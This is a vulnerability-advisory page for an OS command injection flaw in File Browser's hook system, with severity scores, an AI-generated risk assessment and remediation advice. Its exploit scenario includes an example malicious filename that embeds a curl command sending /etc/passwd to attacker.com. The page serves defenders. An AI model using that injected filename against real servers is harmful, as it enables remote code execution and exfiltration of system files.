EUVD-2026-19775
GHSA-jvpw-637p-h3pw
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionGitHub Advisory
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 through 2.63.1, the hook system in File Browser - which executes administrator-defined shell commands on file events such as upload, rename, and delete - is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.
AnalysisAI
Remote code execution in File Browser versions 2.0.0 through 2.63.1 allows authenticated administrators to execute arbitrary OS commands via malicious filenames. The vulnerability stems from unsanitized variable substitution in the hook system, which processes file events (upload, rename, delete) using administrator-defined shell commands. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | File Browser versions 2.0.0 through 2.63.1 with the hook system enabled (administrator-defined shell commands on file events). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is moderate despite the 7.5 CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with legitimate File Browser credentials and file write permissions creates a malicious file named 'report`curl attacker.com/exfil?data=$(cat /etc/passwd)`.pdf' and uploads it to a directory monitored by an administrator-configured hook. When the upload event triggers the hook command template that includes the $FILE variable, the unsanitized filename is expanded directly into the shell command, causing the server to execute the embedded curl command that exfiltrates /etc/passwd contents to the attacker's server. … |
| Remediation | Organizations should immediately upgrade File Browser to version 2.33.8 or later where the vulnerable hooks feature is disabled by default, though the exact fully-patched version eliminating the underlying code vulnerability is not independently confirmed from available data. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all File Browser deployments and document current versions in use; disable the hook system feature if enabled in administrative settings. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Share
External POC / Exploit Code
Leaving vuln.today